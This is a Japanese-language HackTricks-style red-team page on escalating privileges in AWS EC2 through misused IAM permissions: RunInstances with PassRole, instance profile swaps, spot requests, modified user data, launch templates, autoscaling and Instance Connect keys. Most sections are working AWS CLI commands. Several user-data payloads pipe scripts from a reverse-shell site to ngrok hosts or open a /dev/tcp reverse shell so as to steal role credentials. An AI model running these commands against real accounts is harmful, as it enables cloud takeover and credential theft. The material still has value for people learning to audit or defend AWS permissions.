AWS - EC2 Privesc

htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ

HackTricks をサポートする他の方法:

EC2

EC2 に関する詳細情報 はこちらをチェックしてください:

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

iam:PassRole, ec2:RunInstances

攻撃者は IAM ロールを添付したインスタンスを作成し、そのインスタンスにアクセス して IAM ロールの資格情報をメタデータエンドポイントから盗むことができます。

  • SSH 経由でのアクセス

作成した ssh キー (--key-name) を使用して新しいインスタンスを実行し、それに ssh でアクセスします(新しいキーを作成する場合は、ec2:CreateKeyPair 権限が必要かもしれません)。

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • ユーザーデータを使用したリバースシェルへのアクセス

ユーザーデータ (--user-data) を使用して新しいインスタンスを実行し、リバースシェルを送信できます。この方法ではセキュリティグループを指定する必要はありません。

echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

GuardDutyを使用している場合は、インスタンスの外部でIAMロールの資格情報を使用する際に注意してください。

pageAWS - GuardDuty Enum

潜在的な影響: 既存のインスタンスプロファイルにアタッチされた任意のEC2ロールへの直接的な昇格。

ECSへの昇格

この権限セットを使用すると、EC2インスタンスを作成し、ECSクラスター内に登録することもできます。これにより、ECS サービスEC2インスタンス内で実行され、そこにアクセスできるため、これらのサービス(Dockerコンテナ)に浸透し、アタッチされたECSロールを盗むことができます。

aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

新しいEC2インスタンスでECSサービスを実行する方法を学ぶには、次を確認してください:

pageAWS - ECS Privesc

新しいインスタンスを作成できない場合でも、ecs:RegisterContainerInstance権限を持っている場合は、インスタンスをクラスター内に登録し、コメント付き攻撃を実行することができるかもしれません。

潜在的な影響: タスクにアタッチされたECSロールへの直接的な権限昇格。

iam:PassRole, iam:AddRoleToInstanceProfile

前のシナリオと同様に、これらの権限を持つ攻撃者は、侵害されたインスタンスのIAMロールを変更して新しい資格情報を盗むことができます。 インスタンスプロファイルには1つのロールしか持てないため、インスタンスプロファイルに既にロールがある場合(一般的なケース)、**iam:RemoveRoleFromInstanceProfile**も必要です。

# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

インスタンスプロファイルにロールがある場合、攻撃者がそれを削除できない場合、別の回避策があります。攻撃者は、ロールのないインスタンスプロファイルを見つけるか、新しいものを作成iam:CreateInstanceProfile)、そのインスタンスプロファイルにロールを追加(前述のように)、そして侵害されたインスタンスに侵害されたインスタンスプロファイルを関連付けることができます:

  • インスタンスにインスタンスプロファイルがない場合(ec2:AssociateIamInstanceProfile) *

aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

潜在的影響: 別のEC2ロールへの直接権限昇格(AWS EC2インスタンスを侵害し、追加の権限または特定のインスタンスプロファイルステータスを持っている必要があります)。

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

これらの権限を持っていると、インスタンスに関連付けられているインスタンスプロファイルを変更することが可能です。攻撃者がすでにインスタンスにアクセスしている場合、それに関連付けられているインスタンスプロファイルを変更することで、より多くのインスタンスプロファイルロールの資格情報を盗むことができます。

  • インスタンスプロファイルが存在する場合、インスタンスプロファイルを削除できます(ec2:DisassociateIamInstanceProfile)、そしてそれを関連付けできます *

aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

または 置き換える インスタンスプロファイル置き換えるec2:ReplaceIamInstanceProfileAssociation)。 *

```bash
```md
## AWS EC2特権昇格

AWS CLIを使用して、EC2インスタンスのIAMインスタンスプロファイルの関連付けを置き換えることができます。

```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```
```

潜在的な影響: 異なるEC2ロールへの直接権限昇格(AWS EC2インスタンスを侵害し、追加の権限または特定のインスタンスプロファイルステータスを持っている必要があります)。

ec2:RequestSpotInstances,iam:PassRole

ec2:RequestSpotInstancesiam:PassRoleの権限を持つ攻撃者は、EC2ロールがアタッチされた Spot Instanceをリクエストし、ユーザーデータrev shellを設定できます。 インスタンスが実行されると、彼はIAMロールを盗むことができます。

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

ec2:ModifyInstanceAttributeを持つ攻撃者は、インスタンスの属性を変更できます。その中で、ユーザーデータを変更できるため、インスタンスに任意のデータを実行させることができます。これにより、EC2インスタンスにrevシェルを取得することができます。

属性はインスタンスが停止している間のみ変更できることに注意してください。そのため、ec2:StopInstancesec2:StartInstancesの権限が必要です。

TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

潜在的影響: 作成されたインスタンスにアタッチされた任意のEC2 IAMロールへの直接的な権限昇格。

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplateおよびec2:ModifyLaunchTemplate の権限を持つ攻撃者は、ユーザーデータ内にrev shellを持つ新しいLaunch Templateバージョンを作成し、その上に任意のEC2 IAMロールを作成し、デフォルトバージョンを変更し、そのLaunch Templateを使用している任意のAuto Scaling グループは、最新またはデフォルトバージョンを使用してインスタンスを再実行し、rev shellを実行します。

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

潜在的な影響: 別のEC2ロールへの直接的な昇格。

autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, iam:PassRole

autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, iam:PassRole の権限を持つ攻撃者は、IAMロールrev shellユーザーデータ内に持つLaunch Configuration作成し、その構成からautoscalingグループ作成して、rev shellを待ち、IAMロールを盗むことができます。

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

潜在的影響: 別のEC2ロールへの直接的な権限昇格。

!autoscaling

ec2:CreateLaunchTemplate および autoscaling:CreateAutoScalingGroup の権限セットは、IAMロールへの権限昇格には十分ではありません。なぜなら、Launch ConfigurationまたはLaunch Templateで指定されたロールをアタッチするには、iam:PassRoleおよびec2:RunInstances の権限が必要です(これは既知の権限昇格です)。

ec2-instance-connect:SendSSHPublicKey

ec2-instance-connect:SendSSHPublicKey 権限を持つ攻撃者は、sshキーをユーザーに追加し、それを使用してアクセスしたり(インスタンスへのsshアクセス権がある場合)、権限を昇格させたりすることができます。

aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

潜在的影響: 実行中のインスタンスにアタッチされたEC2 IAMロールへの直接的な権限昇格。

ec2-instance-connect:SendSerialConsoleSSHPublicKey

ec2-instance-connect:SendSerialConsoleSSHPublicKey 権限を持つ攻撃者は、シリアル接続にsshキーを追加することができます。シリアルが有効でない場合、攻撃者はそれを有効にするために ec2:EnableSerialConsoleAccess 権限が必要です。

シリアルポートに接続するには、また、マシン内のユーザーのユーザー名とパスワードを知る必要があります

aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

この方法は、それを悪用するためにユーザー名とパスワードを知っている必要があるため、privescにはあまり役立ちません。

潜在的な影響: (高度に証明できない) 実行中のインスタンスにアタッチされたEC2 IAMロールへの直接的なprivesc。

参考文献

htARTE(HackTricks AWS Red Team Expert) を使って、ゼロからヒーローまでAWSハッキングを学ぶ

HackTricksをサポートする他の方法:

最終更新